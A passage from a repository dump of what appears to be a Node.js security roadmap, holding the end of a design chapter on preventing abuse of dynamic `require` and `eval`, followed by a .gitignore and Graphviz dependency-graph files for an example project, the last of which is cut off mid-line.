} catch (_) {\n      // Oh well.\n    }\n    ```\n*   Loading a handler for a runtime value based on a naming convention.\n    ```js\n    function handle(request) {\n      const handlerName = request.type + '-handler';  // Documented convention\n      let handler;\n      try {\n        handler = require(handlerName);\n      } catch (e) {\n        throw new Error(\n            'Expected handler ' + handlerName\n            + ' for requests with type ' + request.type);\n      }\n      return handler.handle(request);\n    }\n    ```\n*   Introspecting over module metadata.\n    ```js\n    const version = require('./package.json').version;\n    ```\n\nDuring rapid development, [file-system monitors][nodemon] can restart\na node project when source files change, and the application stitches\nitself together without the complex compiler and build system\nintegration that statically compiled languages use to do incremental\nrecompilation.\n\n\n## Problem\n\nThreats: [DEX][] [RCE][] [UIR][]\n\nThe `node_modules` directory does not keep production code separate\nfrom test code.  If test code can be `require`d in production, then\nan attacker may find it far easier to execute a wide variety of other\nattacks.  See [UIR][] for more details on this.\n\nNode applications rely on dynamic uses of `require` and changes that\nbreak any of these use cases would require coordinating large scale\nchanges to existing code, tools, and development practices threatening\n[developer experience][DEX].\n\nRequiring developers to pick and choose which source files are\nproduction and which are test would either:\n\n*  Require them to scrutinize source files not only for their project\n   but also for deep dependencies with which they are unfamiliar\n   leading to poor developer experience.\n*  Whitelist without scrutiny leading to the original security problem.\n*  Lead them to not use available modules to solve problems and instead\n   roll their own leading to poor developer experience, and possibly\n   [LQC][] problems.\n\nWe need to ensure that only source code written with production\nconstraints in mind loads in production without increasing the burden\non developers.\n\nWhen the behavior of code in production is markedly different from that\non a developer's workstation, developers lose confidence that they\ncan avoid bugs in production by testing locally which may lead\nto poor developer experience and lower quality code.\n\n\n## Success Criteria\n\nWe would have prevented abuse of `require` if:\n\n*  Untrusted inputs could not cause `require` to load a\n   non-production source file,\n*  and/or no non-production source files are reachable by\n   `require`,\n*  and/or loading a non-production source file has no adverse effect.\n\nWe would have successfully prevented abuse of `eval`, `new Function`\nand related operators if:\n\n*  Untrusted inputs cannot reach an `eval` operator,\n*  and/or untrusted inputs that reach them cause no adverse affects,\n*  and/or security specialists could whitelist uses of `eval` operators\n   that are necessary for the functioning of the larger\n   system and compatible with the system's security goals.\n\nIn both cases, converting dynamic operators to static before untrusted\ninputs reach the system reduces the attack surface.  Requiring\nlarge-scale changes to existing npm modules or requiring large scale\nrewrites of code that uses using them constitutes compromises [DEX][].\n\n\n## Current practices\n\nSome development teams use [webpack][] or similar tools to statically\nbundle server-side modules, and provide flexible transpilation\npipelines.  That's a great way to do things, but solving security\nproblems only for teams with development practices mature enough to\ndeploy via webpack risks preaching to the choir.\n\nWebpack, in its minimal configuration, does not attempt to skip\ntest files ([code][webpack-experiment]).\nTeams with an experienced webpack user can use it to great effect, but\nit is not an out-of-the-box solution.\n\nWebpacking does not prevent calls to `require(...)` with unintended\narguments, but greatly reduces the chance that they will load\nnon-production code.  As long as the server process cannot read\nJS files other than those in the bundle, then a webpacked server\nis safe from [UIR][].  This may not be the case if the production\nmachine has npm modules globally installed, and the server process\nis not running in a [chroot jail][].\n\n\n## A Possible Solution\n\nWe present one possible solution to demonstrate that tackling this\nproblem is feasible.\n\nIf we can compute the entire set of `require`-able sources when\ndealing only with inputs from trusted sources, then we can\nensure that the node runtime only loads those sources even when\nexposed to untrusted inputs.\n\nWe propose these changes:\n\n*  A two phase approach to prevent abuse of `require`.\n   1. Tweaks to the node module loader that make it easy to\n      [dynamically bundle](bundling.md) a release candidate.\n   2. Tweaks to the node module loader in production to restrict\n      code loads based on [source content hashes](source-contents.md)\n      from the bundling phase.\n*  Two different strategies for preventing abuse of\n   [`eval`](what-about-eval.md).\n   *  JavaScript idioms that can allow many uses of `eval` to\n      [load as modules](synthetic-modules.md) and to bundle as above.\n   *  Using JavaScript engine callbacks to\n      [allow uses of `eval`](bounded-eval.md) by approved modules.\n\n[DEX]: ../chapter-1/threat-DEX.md\n[LQC]: ../chapter-1/threat-LQC.md\n[RCE]: ../chapter-1/threat-RCE.md\n[UIR]: ../chapter-1/threat-UIR.md\n[webpack]: https://webpack.js.org/\n[Symbol]: (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)\n[import-js]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import\n[import-ts]: https://www.typescriptlang.org/docs/handbook/modules.html#import\n[Module._load]: https://github.com/nodejs/node/blob/0fdd88a374e23e1dd4a05d93afd5eb0c3b080fd5/lib/module.js#L449\n[FKS]: http://fredkschott.com/post/2014/06/require-and-the-module-system/\n[esm]: https://nodejs.org/api/esm.html#esm_ecmascript_modules\n[nodemon]: https://nodemon.io/\n[import-op-strawman]: https://github.com/tc39/proposal-dynamic-import\n[chroot jail]: https://help.ubuntu.com/community/BasicChroot\n[webpack-experiment]: https://github.com/google/node-sec-roadmap/tree/master/chapter-2/experiments/webpack-compat\n"
  },
  {
    "path": "chapter-2/example/.gitignore",
    "content": "node_modules\n"
  },
  {
    "path": "chapter-2/example/graphs/filtered.dot",
    "content": "digraph Modules {\n    \"./package.json\" [fillcolor=black,fontcolor=white,style=filled];\n    \"./index.js\" -> \"./lib/static.js\";\n    \"./index.js\" -> \"./lib/dynamic.js\";\n    \"./index.js\" -> \"./lib/opt2.js\";\n    \"./index.js\" -> \"./lib/lazy.js\";\n    \"./package.json\" -> \"./index.js\";\n}\n"
  },
  {
    "path": "chapter-2/example/graphs/full.dot",
    "content": "digraph Modules {\n    \"./node_modules/mocha/bin/mocha\" -> \"./node_modules/mocha/bin/options.js\";\n    \"./node_modules/mocha/bin/_mocha\" -> \"./node_modules/commander/index.js\";\n    \"./node_modules/mocha/bin/_mocha\" -> \"./node_modules/mocha/index.js\";\n    \"./node_modules/mocha/index.js\" -> \"./node_modules/mocha/lib/mocha.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/escape-string-regexp/index.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/reporters/index.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/base.js\" -> \"./node_modules/diff/lib/index.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/character.js\";\n    \"./node_modules/diff/lib/diff/character.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/word.js\";\n    \"./node_modules/diff/lib/diff/word.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/diff/word.js\" -> \"./node_modules/diff/lib/util/params.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/line.js\";\n    \"./node_modules/diff/lib/diff/line.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/diff/line.js\" -> \"./node_modules/diff/lib/util/params.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/sentence.js\";\n    \"./node_modules/diff/lib/diff/sentence.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/css.js\";\n    \"./node_modules/diff/lib/diff/css.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/json.js\";\n    \"./node_modules/diff/lib/diff/json.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/diff/json.js\" -> \"./node_modules/diff/lib/diff/line.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/diff/array.js\";\n    \"./node_modules/diff/lib/diff/array.js\" -> \"./node_modules/diff/lib/diff/base.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/patch/apply.js\";\n    \"./node_modules/diff/lib/patch/apply.js\" -> \"./node_modules/diff/lib/patch/parse.js\";\n    \"./node_modules/diff/lib/patch/apply.js\" -> \"./node_modules/diff/lib/util/distance-iterator.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/patch/parse.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/patch/merge.js\";\n    \"./node_modules/diff/lib/patch/merge.js\" -> \"./node_modules/diff/lib/patch/create.js\";\n    \"./node_modules/diff/lib/patch/create.js\" -> \"./node_modules/diff/lib/diff/line.js\";\n    \"./node_modules/diff/lib/patch/merge.js\" -> \"./node_modules/diff/lib/patch/parse.js\";\n    \"./node_modules/diff/lib/patch/merge.js\" -> \"./node_modules/diff/lib/util/array.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/patch/create.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/convert/dmp.js\";\n    \"./node_modules/diff/lib/index.js\" -> \"./node_modules/diff/lib/convert/xml.js\";\n    \"./node_modules/mocha/lib/reporters/base.js\" -> \"./node_modules/mocha/lib/ms.js\";\n    \"./node_modules/mocha/lib/reporters/base.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/utils.js\" -> \"./node_modules/debug/src/index.js\";\n    \"./node_modules/debug/src/index.js\" -> \"./node_modules/debug/src/node.js\";\n    \"./node_modules/debug/src/node.js\" -> \"./node_modules/debug/src/debug.js\";\n    \"./node_modules/debug/src/debug.js\" -> \"./node_modules/ms/index.js\";\n    \"./node_modules/debug/src/node.js\" -> \"./node_modules/supports-color/index.js\";\n    \"./node_modules/supports-color/index.js\" -> \"./node_modules/has-flag/index.js\";\n    \"./node_modules/mocha/lib/utils.js\" -> \"./node_modules/glob/glob.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/fs.realpath/index.js\";\n    \"./node_modules/fs.realpath/index.js\" -> \"./node_modules/fs.realpath/old.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/minimatch/minimatch.js\";\n    \"./node_modules/minimatch/minimatch.js\" -> \"./node_modules/brace-expansion/index.js\";\n    \"./node_modules/brace-expansion/index.js\" -> \"./node_modules/concat-map/index.js\";\n    \"./node_modules/brace-expansion/index.js\" -> \"./node_modules/balanced-match/index.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/inherits/inherits.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/path-is-absolute/index.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/glob/sync.js\";\n    \"./node_modules/glob/sync.js\" -> \"./node_modules/fs.realpath/index.js\";\n    \"./node_modules/glob/sync.js\" -> \"./node_modules/minimatch/minimatch.js\";\n    \"./node_modules/glob/sync.js\" -> \"./node_modules/glob/glob.js\";\n    \"./node_modules/glob/sync.js\" -> \"./node_modules/path-is-absolute/index.js\";\n    \"./node_modules/glob/sync.js\" -> \"./node_modules/glob/common.js\";\n    \"./node_modules/glob/common.js\" -> \"./node_modules/minimatch/minimatch.js\";\n    \"./node_modules/glob/common.js\" -> \"./node_modules/path-is-absolute/index.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/glob/common.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/inflight/inflight.js\";\n    \"./node_modules/inflight/inflight.js\" -> \"./node_modules/wrappy/wrappy.js\";\n    \"./node_modules/inflight/inflight.js\" -> \"./node_modules/once/once.js\";\n    \"./node_modules/once/once.js\" -> \"./node_modules/wrappy/wrappy.js\";\n    \"./node_modules/glob/glob.js\" -> \"./node_modules/once/once.js\";\n    \"./node_modules/mocha/lib/utils.js\" -> \"./node_modules/he/he.js\";\n    \"./node_modules/mocha/lib/reporters/base.js\" -> \"./node_modules/supports-color/index.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/dot.js\";\n    \"./node_modules/mocha/lib/reporters/dot.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/dot.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/doc.js\";\n    \"./node_modules/mocha/lib/reporters/doc.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/doc.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/tap.js\";\n    \"./node_modules/mocha/lib/reporters/tap.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/json.js\";\n    \"./node_modules/mocha/lib/reporters/json.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/html.js\";\n    \"./node_modules/mocha/lib/reporters/html.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/html.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/html.js\" -> \"./node_modules/mocha/lib/browser/progress.js\";\n    \"./node_modules/mocha/lib/reporters/html.js\" -> \"./node_modules/escape-string-regexp/index.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/list.js\";\n    \"./node_modules/mocha/lib/reporters/list.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/list.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/min.js\";\n    \"./node_modules/mocha/lib/reporters/min.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/min.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/spec.js\";\n    \"./node_modules/mocha/lib/reporters/spec.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/spec.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/nyan.js\";\n    \"./node_modules/mocha/lib/reporters/nyan.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/nyan.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/xunit.js\";\n    \"./node_modules/mocha/lib/reporters/xunit.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/xunit.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/xunit.js\" -> \"./node_modules/mkdirp/index.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/markdown.js\";\n    \"./node_modules/mocha/lib/reporters/markdown.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/markdown.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/progress.js\";\n    \"./node_modules/mocha/lib/reporters/progress.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/progress.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/landing.js\";\n    \"./node_modules/mocha/lib/reporters/landing.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/reporters/landing.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/reporters/index.js\" -> \"./node_modules/mocha/lib/reporters/json-stream.js\";\n    \"./node_modules/mocha/lib/reporters/json-stream.js\" -> \"./node_modules/mocha/lib/reporters/base.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/interfaces/index.js\";\n    \"./node_modules/mocha/lib/interfaces/index.js\" -> \"./node_modules/mocha/lib/interfaces/bdd.js\";\n    \"./node_modules/mocha/lib/interfaces/bdd.js\" -> \"./node_modules/mocha/lib/test.js\";\n    \"./node_modules/mocha/lib/test.js\" -> \"./node_modules/mocha/lib/runnable.js\";\n    \"./node_modules/mocha/lib/runnable.js\" -> \"./node_modules/mocha/lib/pending.js\";\n    \"./node_modules/mocha/lib/runnable.js\" -> \"./node_modules/debug/src/index.js\";\n    \"./node_modules/mocha/lib/runnable.js\" -> \"./node_modules/mocha/lib/ms.js\";\n    \"./node_modules/mocha/lib/runnable.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/test.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/interfaces/index.js\" -> \"./node_modules/mocha/lib/interfaces/tdd.js\";\n    \"./node_modules/mocha/lib/interfaces/tdd.js\" -> \"./node_modules/mocha/lib/test.js\";\n    \"./node_modules/mocha/lib/interfaces/index.js\" -> \"./node_modules/mocha/lib/interfaces/qunit.js\";\n    \"./node_modules/mocha/lib/interfaces/qunit.js\" -> \"./node_modules/mocha/lib/test.js\";\n    \"./node_modules/mocha/lib/interfaces/index.js\" -> \"./node_modules/mocha/lib/interfaces/exports.js\";\n    \"./node_modules/mocha/lib/interfaces/exports.js\" -> \"./node_modules/mocha/lib/suite.js\";\n    \"./node_modules/mocha/lib/suite.js\" -> \"./node_modules/mocha/lib/hook.js\";\n    \"./node_modules/mocha/lib/hook.js\" -> \"./node_modules/mocha/lib/runnable.js\";\n    \"./node_modules/mocha/lib/hook.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/suite.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/suite.js\" -> \"./node_modules/debug/src/index.js\";\n    \"./node_modules/mocha/lib/suite.js\" -> \"./node_modules/mocha/lib/ms.js\";\n    \"./node_modules/mocha/lib/interfaces/exports.js\" -> \"./node_modules/mocha/lib/test.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/runnable.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/context.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/runner.js\";\n    \"./node_modules/mocha/lib/runner.js\" -> \"./node_modules/mocha/lib/pending.js\";\n    \"./node_modules/mocha/lib/runner.js\" -> \"./node_modules/mocha/lib/utils.js\";\n    \"./node_modules/mocha/lib/runner.js\" -> \"./node_modules/debug/src/index.js\";\n    \"./node_modules/mocha/lib/runner.js\" -> \"./node_modules/mocha/lib/runnable.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/suite.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/hook.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./node_modules/mocha/lib/test.js\";\n    \"./node_modules/mocha/bin/_mocha\" -> \"./node_modules/mocha/bin/options.js\";\n    \"./node_modules/mocha/bin/_mocha\" -> \"./node_modules/mocha/lib/reporters/spec.js\";\n    \"./node_modules/mocha/lib/interfaces/bdd.js\" -> \"./node_modules/mocha/lib/interfaces/common.js\";\n    \"./node_modules/mocha/lib/interfaces/common.js\" -> \"./node_modules/mocha/lib/suite.js\";\n    \"./node_modules/mocha/lib/mocha.js\" -> \"./test/test.js\";\n    \"./test/test.js\" -> \"./node_modules/chai/index.js\";\n    \"./node_modules/chai/index.js\" -> \"./node_modules/chai/lib/chai.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/assertion-error/index.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/chai/lib/chai/utils/index.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/pathval/index.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/test.js\";\n    \"./node_modules/chai/lib/chai/utils/test.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/type-detect/type-detect.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/expectTypes.js\";\n    \"./node_modules/chai/lib/chai/utils/expectTypes.js\" -> \"./node_modules/assertion-error/index.js\";\n    \"./node_modules/chai/lib/chai/utils/expectTypes.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/expectTypes.js\" -> \"./node_modules/type-detect/type-detect.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/getMessage.js\";\n    \"./node_modules/chai/lib/chai/utils/getMessage.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/getMessage.js\" -> \"./node_modules/chai/lib/chai/utils/getActual.js\";\n    \"./node_modules/chai/lib/chai/utils/getMessage.js\" -> \"./node_modules/chai/lib/chai/utils/inspect.js\";\n    \"./node_modules/chai/lib/chai/utils/inspect.js\" -> \"./node_modules/get-func-name/index.js\";\n    \"./node_modules/chai/lib/chai/utils/inspect.js\" -> \"./node_modules/chai/lib/chai/utils/getProperties.js\";\n    \"./node_modules/chai/lib/chai/utils/inspect.js\" -> \"./node_modules/chai/lib/chai/utils/getEnumerableProperties.js\";\n    \"./node_modules/chai/lib/chai/utils/inspect.js\" -> \"./node_modules/chai/lib/chai/config.js\";\n    \"./node_modules/chai/lib/chai/utils/getMessage.js\" -> \"./node_modules/chai/lib/chai/utils/objDisplay.js\";\n    \"./node_modules/chai/lib/chai/utils/objDisplay.js\" -> \"./node_modules/chai/lib/chai/utils/inspect.js\";\n    \"./node_modules/chai/lib/chai/utils/objDisplay.js\" -> \"./node_modules/chai/lib/chai/config.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/getActual.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/inspect.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/objDisplay.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/transferFlags.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/deep-eql/index.js\";\n    \"./node_modules/deep-eql/index.js\" -> \"./node_modules/type-detect/type-detect.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/get-func-name/index.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/addProperty.js\";\n    \"./node_modules/chai/lib/chai/utils/addProperty.js\" -> \"./node_modules/chai/lib/chai.js\";\n    \"./node_modules/chai/lib/chai/utils/addProperty.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/addProperty.js\" -> \"./node_modules/chai/lib/chai/utils/isProxyEnabled.js\";\n    \"./node_modules/chai/lib/chai/utils/isProxyEnabled.js\" -> \"./node_modules/chai/lib/chai/config.js\";\n    \"./node_modules/chai/lib/chai/utils/addProperty.js\" -> \"./node_modules/chai/lib/chai/utils/transferFlags.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/addMethod.js\";\n    \"./node_modules/chai/lib/chai/utils/addMethod.js\" -> \"./node_modules/chai/lib/chai/utils/addLengthGuard.js\";\n    \"./node_modules/chai/lib/chai/utils/addLengthGuard.js\" -> \"./node_modules/chai/lib/chai/config.js\";\n    \"./node_modules/chai/lib/chai/utils/addMethod.js\" -> \"./node_modules/chai/lib/chai.js\";\n    \"./node_modules/chai/lib/chai/utils/addMethod.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/addMethod.js\" -> \"./node_modules/chai/lib/chai/utils/proxify.js\";\n    \"./node_modules/chai/lib/chai/utils/proxify.js\" -> \"./node_modules/chai/lib/chai/config.js\";\n    \"./node_modules/chai/lib/chai/utils/proxify.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/proxify.js\" -> \"./node_modules/chai/lib/chai/utils/getProperties.js\";\n    \"./node_modules/chai/lib/chai/utils/proxify.js\" -> \"./node_modules/chai/lib/chai/utils/isProxyEnabled.js\";\n    \"./node_modules/chai/lib/chai/utils/addMethod.js\" -> \"./node_modules/chai/lib/chai/utils/transferFlags.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/overwriteProperty.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteProperty.js\" -> \"./node_modules/chai/lib/chai.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteProperty.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteProperty.js\" -> \"./node_modules/chai/lib/chai/utils/isProxyEnabled.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteProperty.js\" -> \"./node_modules/chai/lib/chai/utils/transferFlags.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/overwriteMethod.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteMethod.js\" -> \"./node_modules/chai/lib/chai/utils/addLengthGuard.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteMethod.js\" -> \"./node_modules/chai/lib/chai.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteMethod.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteMethod.js\" -> \"./node_modules/chai/lib/chai/utils/proxify.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteMethod.js\" -> \"./node_modules/chai/lib/chai/utils/transferFlags.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/addChainableMethod.js\";\n    \"./node_modules/chai/lib/chai/utils/addChainableMethod.js\" -> \"./node_modules/chai/lib/chai/utils/addLengthGuard.js\";\n    \"./node_modules/chai/lib/chai/utils/addChainableMethod.js\" -> \"./node_modules/chai/lib/chai.js\";\n    \"./node_modules/chai/lib/chai/utils/addChainableMethod.js\" -> \"./node_modules/chai/lib/chai/utils/flag.js\";\n    \"./node_modules/chai/lib/chai/utils/addChainableMethod.js\" -> \"./node_modules/chai/lib/chai/utils/proxify.js\";\n    \"./node_modules/chai/lib/chai/utils/addChainableMethod.js\" -> \"./node_modules/chai/lib/chai/utils/transferFlags.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/overwriteChainableMethod.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteChainableMethod.js\" -> \"./node_modules/chai/lib/chai.js\";\n    \"./node_modules/chai/lib/chai/utils/overwriteChainableMethod.js\" -> \"./node_modules/chai/lib/chai/utils/transferFlags.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/compareByInspect.js\";\n    \"./node_modules/chai/lib/chai/utils/compareByInspect.js\" -> \"./node_modules/chai/lib/chai/utils/inspect.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/getOwnEnumerablePropertySymbols.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/getOwnEnumerableProperties.js\";\n    \"./node_modules/chai/lib/chai/utils/getOwnEnumerableProperties.js\" -> \"./node_modules/chai/lib/chai/utils/getOwnEnumerablePropertySymbols.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/check-error/index.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/proxify.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/addLengthGuard.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/isProxyEnabled.js\";\n    \"./node_modules/chai/lib/chai/utils/index.js\" -> \"./node_modules/chai/lib/chai/utils/isNaN.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/chai/lib/chai/config.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/chai/lib/chai/assertion.js\";\n    \"./node_modules/chai/lib/chai/assertion.js\" -> \"./node_modules/chai/lib/chai/config.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/chai/lib/chai/core/assertions.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/chai/lib/chai/interface/expect.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/chai/lib/chai/interface/should.js\";\n    \"./node_modules/chai/lib/chai.js\" -> \"./node_modules/chai/lib/chai/interface/assert.js\";\n    \"./test/test.js\" -> \"./index.js\";\n    \"./index.js\" -> \"./lib/static.js\";\n    \"./index.js\" -> 